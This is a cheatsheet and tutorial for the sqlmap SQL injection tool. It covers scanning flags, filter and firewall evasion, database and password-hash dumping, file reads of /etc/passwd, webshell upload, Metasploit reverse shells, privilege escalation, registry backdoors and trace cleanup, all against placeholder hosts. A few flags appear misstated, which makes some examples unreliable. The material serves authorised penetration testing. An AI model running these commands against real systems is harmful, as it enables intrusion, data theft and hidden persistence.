sqlmap Cheatsheet

Basic Usage

Flag/Command	Description	Example
`sqlmap -u <URL>`	Scan a target URL for SQLi.	`sqlmap -u "http://example.com/vuln.php?id=1"` – Basic scan.
`sqlmap -r <file>`	Load HTTP request from a file (e.g., Burp capture).	`sqlmap -r request.txt` – Scans from saved request.
`sqlmap -d <conn_string>`	Direct database connection.	`sqlmap -d "mysql://user:pass@host/db"` – Bypasses web layer.
`sqlmap -l <logfile>`	Parse targets from Burp/WebScarab log.	`sqlmap -l burp.log` – Scans multiple from proxy logs.
`sqlmap -m <bulkfile>`	Scan multiple targets from text file.	`sqlmap -m targets.txt` – Batch scanning.
`sqlmap -g <dork>`	Process Google dork results as targets.	`sqlmap -g "inurl:php?id="` – Scans dork hits.
`sqlmap -c <config.ini>`	Load options from INI config file.	`sqlmap -c config.ini` – Custom setup.
`sqlmap --forms`	Parse and test form inputs on page.	`sqlmap -u "http://example.com/login" --forms` – Targets forms.

Request Options

Flag/Command	Description	Example
`--data <data>`	POST data string.	`sqlmap -u "http://example.com" --data="id=1&name=foo"` – POST scan.
`--cookie <cookie>`	HTTP Cookie header.	`sqlmap -u "http://example.com" --cookie="PHPSESSID=abc123"` – Session cookie.
`--user-agent <agent>`	Custom User-Agent.	`sqlmap -u "http://example.com" --user-agent="Mozilla/5.0"` – Mimic browser.
`--random-agent`	Random User-Agent from list.	`sqlmap -u "http://example.com" --random-agent` – Evasion.
`--headers <headers>`	Extra headers.	`sqlmap -u "http://example.com" --headers="X-Forwarded-For:1.1.1.1"` – Custom headers.
`--auth-type <type>` `--auth-cred <creds>`	HTTP auth (Basic/Digest/NTLM/PKI).	`sqlmap -u "http://example.com" --auth-type Basic --auth-cred "user:pass"` – Basic auth.
`--proxy <proxy>`	Use proxy.	`sqlmap -u "http://example.com" --proxy="http://proxy:8080"` – Proxied scan.
`--tor`	Use Tor network.	`sqlmap -u "http://example.com" --tor` – Anonymity.

Flag/Command	Description	Example
`--delay <sec>`	Delay between requests.	`sqlmap -u "http://example.com" --delay=2` – Throttle.
`--safe-url <url>`	Safe URL to visit frequently.	`sqlmap -u "http://example.com/vuln" --safe-url="http://example.com"` – Evasion.

Optimization

Flag/Command	Description	Example
`-o`	Enable all optimizations.	`sqlmap -u "http://example.com" -o` – Fast mode.
`--threads <num>`	Max concurrent requests (up to 10).	`sqlmap -u "http://example.com" --threads=5` – Multi-threaded.
`--keep-alive`	Persistent connections.	`sqlmap -u "http://example.com" --keep-alive` – Reuse sockets.
`--predict-output`	Predict query outputs.	`sqlmap -u "http://example.com" --predict-output` – Faster enumeration.

Injection and Detection

Flag/Command	Description	Example
`-p <param>`	Test specific parameter(s).	`sqlmap -u "http://example.com?id=1" -p id` – Target param.
`--skip <param>`	Skip testing parameter(s).	`sqlmap -u "http://example.com" --skip="name"` – Ignore param.
`--level <1-5>`	Test depth (higher = more tests).	`sqlmap -u "http://example.com" --level=3` – Thorough.
`--risk <1-3>`	Risk level (higher = riskier payloads).	`sqlmap -u "http://example.com" --risk=3` – Aggressive.
`--dbms <dbms>`	Force DBMS type (e.g., MySQL).	`sqlmap -u "http://example.com" --dbms=MySQL` – Specify backend.
`--tamper <script>`	Tamper payload (e.g., space2comment).	`sqlmap -u "http://example.com" --tamper=space2comment` – WAF bypass.
`--hpp`	HTTP parameter pollution.	`sqlmap -u "http://example.com" --hpp` – Evasion technique.

Techniques

Flag/Command	Description	Example
`--technique <tech>`	Techniques (B/E/U/S/T/Q, default BEUSTQ).	`sqlmap -u "http://example.com" --technique=BEU` – Boolean/Error/Union.
`--time-sec <sec>`	Time delay for time-based.	`sqlmap -u "http://example.com" --time-sec=10` – Adjust delay.
`--union-cols <range>`	Columns for UNION.	`sqlmap -u "http://example.com" --union-cols=1-10` – Bruteforce cols.

Fingerprint and Enumeration

Flag/Command	Description	Example
`-f, --fingerprint`	Extensive DBMS fingerprint.	`sqlmap -u "http://example.com" -f` – Version/OS detect.
`-b, --banner`	Retrieve DBMS banner.	`sqlmap -u "http://example.com" -b` – DBMS version.
`--current-db`	Current database.	`sqlmap -u "http://example.com" --current-db` – Get DB name.
`--dbs`	Enumerate databases.	`sqlmap -u "http://example.com" --dbs` – List DBs.
`--tables`	Enumerate tables (use -D for DB).	`sqlmap -u "http://example.com" -D testdb --tables` – List tables.
`--columns`	Enumerate columns (use -T).	`sqlmap -u "http://example.com" -D testdb -T users --columns` – List columns.
`--dump`	Dump table entries (use -T/-D).	`sqlmap -u "http://example.com" -D testdb -T users --dump` – Dump data.
`--dump-all`	Dump all DBs/tables.	`sqlmap -u "http://example.com" --dump-all` – Full dump.
`--users`	Enumerate DBMS users.	`sqlmap -u "http://example.com" --users` – List users.
`--passwords`	Enumerate password hashes.	`sqlmap -u "http://example.com" --passwords` – Get hashes.
`--privileges`	Enumerate user privileges.	`sqlmap -u "http://example.com" --privileges` – Check perms.

Access and Takeover

Flag/Command	Description	Example
`--file-read <path>`	Read remote file.	`sqlmap -u "http://example.com" --file-read="/etc/passwd"` – Download file.
`--file-write <local>` `--file-dest <remote>`	Upload file.	`sqlmap -u "http://example.com" --file-write="shell.php" --file-dest="/var/www/shell.php"` – Upload.
`--os-cmd <cmd>`	Execute OS command.	`sqlmap -u "http://example.com" --os-cmd="whoami"` – Run command.
`--os-shell`	Interactive OS shell.	`sqlmap -u "http://example.com" --os-shell` – Shell access.
`--sql-query <query>`	Execute custom SQL.	`sqlmap -u "http://example.com" --sql-query="SELECT * FROM users"` – Custom query.

General and Miscellaneous

Flag/Command	Description	Example
`-v <0-6>`	Verbosity level.	`sqlmap -u "http://example.com" -v 3` – Detailed output.
`--batch`	Non-interactive mode.	`sqlmap -u "http://example.com" --batch` – No prompts.
`--flush-session`	Reset session file.	`sqlmap -u "http://example.com" --flush-session` – Fresh scan.

Flag/Command	Description	Example
`--eta`	Show estimated time.	`sqlmap -u "http://example.com" --eta` – Progress ETA.
`--crawl <depth>`	Crawl site for links.	`sqlmap -u "http://example.com" --crawl=3` – Depth 3 crawl.
`--output-dir <dir>`	Custom output path.	`sqlmap -u "http://example.com" --output-dir=/tmp` – Save here.
`--dump-format <format>`	Dump format (CSV/HTML/SQLITE).	`sqlmap -u "http://example.com" --dump-format=CSV` – CSV output.
`--update`	Update sqlmap.	`sqlmap --update` – Get latest version.

Advanced SQLMap Techniques

SQLMap is a powerful open-source tool for automating SQL injection (SQLi) detection and exploitation. While basic usage covers simple scans and dumps, advanced techniques focus on evasion (bypassing WAFs/IPS), custom payload crafting, handling complex scenarios like second-order injections, and deep post-exploitation (e.g., OS command execution or file manipulation). Below, I'll break them down into categories with command examples. Always use these ethically in authorized testing environments.

1. Evasion Techniques

These help bypass filters, WAFs, or encoding schemes by modifying payloads dynamically.

- **Tamper Scripts**: Use Python scripts to alter payloads (e.g., encode spaces as comments `/**/` or add random delays). SQLMap includes built-in tampers like `randomcase`, `space2comment`, or `base64encode`. List available ones with `--list-tampers`.
  - Example: `sqlmap -u "http://example.com/vuln.php?id=1" --tamper="randomcase,space2comment,appendnullbyte" --level=5 --risk=3`
  - Custom Script: Create `mytamper.py` in SQLMap's `tamper/` directory to replace keywords (e.g., `UNION` with `UNI/**/ON`). Invoke with `--tamper=mytamper`.
- **Randomization and Proxies**: Randomize User-Agents, use TOR, or proxies to avoid detection.
  - Example: `sqlmap -u "http://example.com/vuln.php?id=1" --random-agent --tor --check-tor --proxy="http://127.0.0.1:8080" --threads=10`
- **Invalid Value Injection**: Force errors or invalidations with big numbers, logical ops, or random strings.
  - Example: `sqlmap -u "http://example.com/vuln.php?id=1" --invalid-bignum --invalid-logical --invalid-string`

2. Custom Payloads and Query Manipulation

For tailored injections when defaults fail, inject custom SQL directly or wrap payloads.

- **--sql-query Option**: Execute arbitrary SQL queries post-detection.

    - Example: `sqlmap -u "http://example.com/vuln.php?id=1" --sql-query="SELECT version(), user(), database()"` (fetches DB version, user, and name).
    - Advanced: Subqueries for enumeration: `sqlmap ... --sql-query="SELECT (SELECT table_name FROM information_schema.tables LIMIT 1)"`.

- **Prefix/Suffix Wrapping**: Add custom strings around payloads to fit app logic.
    - Example: `sqlmap -u "http://example.com/vuln.php?id=1" --prefix="' OR 1=1; /*" --suffix="*/ --" --technique=U` (for UNION-based with comments).

- **--eval for Dynamic Payloads**: Run Python code to generate variables (e.g., random IDs).
    - Example: `sqlmap -u "http://example.com/vuln.php?id=1" --eval="import random; id=random.randint(1,1000)" --dbms=mysql`.

- **Postprocessing Scripts**: Modify responses (e.g., for second-order attacks). Create `mypostproc.py` to handle derived parameters like timestamps.
    - Example: `sqlmap -r request.txt --postprocess=mypostproc.py --technique=ST` (S for stacked, T for time-based).

3. Advanced Enumeration and Exploitation

Go beyond basic dumps for sensitive data extraction or privilege escalation.

Technique	Description	Example Command
Deep Enumeration	Enumerate users, hashes, schema, or common tables/files while excluding sys DBs. Use `--fingerprint` for DBMS version.	`sqlmap -u "http://example.com/vuln.php?id=1" --dbs --users --passwords --schema --common-tables --exclude-sysdbs --fingerprint`
Targeted Dumps	Dump specific DBs/tables/columns or all with formats (CSV/HTML/SQLite). Repair garbled data with `--repair`.	`sqlmap -u "http://example.com/vuln.php?id=1" -D mydb -T users -C "name,pass" --dump --dump-format=CSV --repair`
OS Interaction	Execute OS commands, read/write files, or exfiltrate via DNS. Force OS/DBMS type.	`sqlmap -u "http://example.com/vuln.php?id=1" --os-shell --file-read="/etc/passwd" --dbms-cred="user:pass" --os=Linux`
Union Tweaks	Brute-force columns or use custom chars/tables for UNION attacks.	`sqlmap -u "http://example.com/vuln.php?id=1" --technique=U --union-cols=1-10 --union-char="NULL" --union-from="dual"`

- **Current Context**: Quickly grab running user/DB: `--current-user --current-db`.

4. Second-Order and Complex Injections

For delayed or multi-request exploits (e.g., stored SQLi).

- **Second-Order Support**: Chain injections across requests; use `--second-url` for result pages or `--second-req` from files.
  - Example: `sqlmap -u "http://example.com/vuln.php?id=1" --second-url="http://example.com/profile.php?ts=RESULT" --second-req=second_request.txt --level=5 --risk=2 --technique=ST` (handles timestamp-derived params via postprocess script).
- **Time-Based Enhancements**: Adjust delays or charsets for blind injections.
  - Example: `sqlmap -u "http://example.com/vuln.php?id=1" --technique=T --time-sec=10 --charset="0123456789abcdef" --threads=5`.

Tips for Mastery

- **Level & Risk**: Crank up with `--level=5 --risk=3` for exhaustive scans, but expect noise/false positives.
- **Crawling**: Auto-discover vulns: `--crawl=3 --scope=".*admin.*"` (crawl depth 3, filter admin pages).
- **Output Control**: Use `--text-only` or `--titles` for precise comparisons; `--keep-alive` for speed.
- For latest updates, check SQLMap's GitHub wiki.

Advanced SQLMap Techniques for PostgreSQL and MySQL

Building on the earlier overview, let's dive deeper into DBMS-specific advanced techniques for PostgreSQL and MySQL. These leverage SQLMap's capabilities for scenarios where you know the database name (via `-D`) and credentials (via `--dbms-cred` or direct `-d` connection). I'll include targeted commands for enumeration, exploitation, and post-exploitation, plus additional techniques like UDF injection, privilege escalation, Windows registry access, and custom evasion. Examples assume an injection point like `http://example.com/vuln.php?id=1` unless noted as direct connect.

Focus on ethical pentesting: Use `--batch` for automation, `--flush-session` to clear caches, and `--cleanup` post-exploitation to remove traces (e.g., UDFs/tables).

MySQL-Specific Advanced Techniques

MySQL excels in UDF-based OS access and in-memory payloads, but stacked queries require MySQL >5.0.11 and app support (e.g., not PHP's default). When creds are known, direct connects shine for bulk ops.

- **Direct Connection with Known DB/Creds**: Bypass web vuln entirely for server-side ops.
  - Example: `sqlmap -d "mysql://admin:pass@192.168.1.100:3306/mydb" -D mydb --dump-all --threads=10` (dumps entire DB; add `--exclude="sys,information_schema"` to skip system DBs).
- **Targeted Enumeration with Creds**: Use `--dbms-cred` for privilege-bypassing dumps.
  - Example: `sqlmap -u "http://example.com/vuln.php?id=1" --dbms-cred="root:secret" -D mydb -T users -C "id,name,pass_hash" --dump --format=CSV --passwords --threads=5` (dumps user table with hash cracking; `--format=CSV` for easy import).

- **Custom SQL Execution**: Interactive shell or queries for complex ops like subqueries.
    - Example: `sqlmap -u "http://example.com/vuln.php?id=1" --dbms-cred="root:secret" --sql-shell` (TAB-complete SQL shell; try `USE mydb; SELECT * FROM users WHERE id=1;`).
    - Advanced Query: `sqlmap ... --sql-query="SELECT LOAD_FILE('/etc/passwd') FROM dual" --hex` (reads files via hex to avoid char issues; `--hex` uses `HEX()` encoding).
- **UDF Injection for OS Commands**: Upload custom libs for `sys_exec()` to run shell cmds.
    - Example: `sqlmap -u "http://example.com/vuln.php?id=1" --dbms-cred="root:secret" --udf-inject --shared-lib="./mysqludf.so" --os-cmd="whoami > /tmp/out.txt; cat /tmp/out.txt"` (uploads UDF, executes cmd; lib must have `sys_exec` func).
- **In-Memory Shellcode & OOB (Out-of-Band)**: Meterpreter via Metasploit for reverse shells.
    - Example: `sqlmap -u "http://example.com/vuln.php?id=1" --dbms-cred="root:secret" --os-pwn --msf-path="/opt/metasploit" --os-shell` (injects shellcode via UDF `sys_bineval`; listener auto-starts; add `--os-tmp="/tmp"` for Linux paths).
- **Privilege Escalation**: On Linux, escalate if not root; Windows often runs as SYSTEM.
    - Example: `sqlmap -u "http://example.com/vuln.php?id=1" --dbms-cred="root:secret" --priv-esc --os-cmd="id"` (exploits misconfigs; pairs with `--is-dba` to check first).
- **Windows Registry Access** (if stacked queries supported): Read/add keys for persistence.
    - Example: `sqlmap -u "http://example.com/vuln.php?id=1" --dbms-cred="root:secret" --reg-read --reg-key="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run" --reg-val="TestKey"` (dumps registry; use `--reg-add` to inject backdoors).

Technique	When to Use	Example Command
Buffer Overflow (Old MySQL)	MySQL 5.0 vuln (MS09-004); high-priv needed.	`sqlmap -u "http://example.com/vuln.php?id=1" --dbms-cred="root:secret" --os-bof --msf-path="/opt/metasploit"`
File Write for Webshell	Upload PHP shell to webroot.	`sqlmap ... --file-write="shell.php" --file-dest="/var/www/html/shell.php" --dbms-cred="root:secret"`
Session Resume	Reuse known creds/DB for long ops.	`sqlmap -s mysession.sqlite -D mydb --dump --dbms-cred="root:secret"`

Tips: For evasion, `--tamper="mysqlhex,charencode"` converts payloads to hex/char funcs. Older MySQL lacks `information_schema`—use `--common-tables` instead.

PostgreSQL-Specific Advanced Techniques

PostgreSQL supports stacked queries natively (better than MySQL/PHP), UDFs via `.so` libs, and runs as low-priv `postgres` user—making `--priv-esc` crucial. Direct connects are ideal for known creds.

- **Direct Connection with Known DB/Creds**: For offline-like dumps.
  - Example: `sqlmap -d "postgresql://pguser:pgpass@192.168.1.100:5432/mydb" -D mydb --schema --users --passwords --dump -T "public.users"` (enumerates schema/users/hashes, dumps public.users table).
- **Targeted Enumeration with Creds**: Focus on roles/schemas.
  - Example: `sqlmap -u "http://example.com/vuln.php?id=1" --dbms-cred="postgres:secret" --dbms=PostgreSQL -D mydb --roles --privileges --dump-all --exclude="pg_*"` (lists roles/privs, dumps non-system; `--roles` is PG-specific for user enumeration).
- **Custom SQL Execution**: Leverage stacked queries for multi-statements.
  - Example: `sqlmap -u "http://example.com/vuln.php?id=1" --dbms-cred="postgres:secret" --sql-query="SELECT version(); CREATE TABLE temp AS SELECT * FROM pg_user; SELECT * FROM temp;"` (fetches version, creates/dumps temp table).
  - Interactive: `sqlmap ... --sql-shell` (run `\dt` for tables, `\du` for users in psql-like mode).
- **UDF Injection for OS Commands**: Use `.so` libs for custom funcs.
  - Example: `sqlmap -u "http://example.com/vuln.php?id=1" --dbms-cred="postgres:secret" --udf-inject --shared-lib="./pgudf.so" --os-cmd="ls -la /tmp"` (uploads UDF to `pg_catalog`, executes; lib needs `pg_exec` func).
- **Privilege Escalation**: Escalate from `postgres` user to root via Metasploit.
  - Example: `sqlmap -u "http://example.com/vuln.php?id=1" --dbms-cred="postgres:secret" --priv-esc --msf-path="/opt/metasploit" --os-shell` (uses `getsystem` exploit; check with `--is-dba` first).
- **File System Access**: PG-specific funcs like `pg_read_file()`.
  - Example: `sqlmap -u "http://example.com/vuln.php?id=1" --dbms-cred="postgres:secret" --file-read="/etc/passwd" --tmp-path="/tmp"` (reads via superuser funcs; requires privs).
- **Windows Registry Access**: If PG on Windows with stacked queries.
  - Example: `sqlmap -u "http://example.com/vuln.php?id=1" --dbms-cred="postgres:secret" --reg-add --reg-key="HKEY_CURRENT_USER\\Software\\sqlmap" --reg-val="Backdoor" --reg-type=REG_SZ --reg-data="cmd.exe /c calc.exe"`.

Technique	When to Use	Example Command

Technique	When to Use	Example Command
OOB Shell	Reverse shell via UDF/Metasploit.	`sqlmap ... --os-pwn --msf-path="/opt/metasploit" --dbms-cred="postgres:secret"`
Hex Encoding for Blind	Evade filters in time-based.	`sqlmap -u "http://example.com/vuln.php?id=1" --technique=T --hex --dbms=PostgreSQL --dbms-cred="postgres:secret"` (uses `ENCODE(..., 'hex')`).
Error Parsing	Debug priv issues from errors.	`sqlmap ... --parse-errors --level=5 --risk=3 --dbms-cred="postgres:secret"`

Tips: PG tamper: `--tamper="postgresql,space2pgsleep"` for time-based evasion (replaces sleeps). Use `--tmp-path="/tmp"` for Linux ops. For schema limits, target `public` schema first.

Cross-DBMS Additional Techniques

- **Custom Tamper Scripts**: Write Python in `tamper/` dir (e.g., `pgmysql_tamper.py` for shared evasion).
  - Example: `sqlmap -u "http://example.com/vuln.php?id=1" --tamper="pgmysql_tamper,base64encode" --dbms-cred="user:pass"` (encodes payloads; custom script could swap `UNION` to `UN/**/ION` for both DBs).
- **Session Files for Efficiency**: Save state: `sqlmap ... -s "pgsession.sqlite" -D mydb --dbms-cred="user:pass"`.
- **Aggressive Scanning**: `--level=5 --risk=3 --parse-errors` to uncover hidden vulns.
- **Post-Exploitation Cleanup**: Always `sqlmap ... --cleanup` to drop UDFs/temp tables.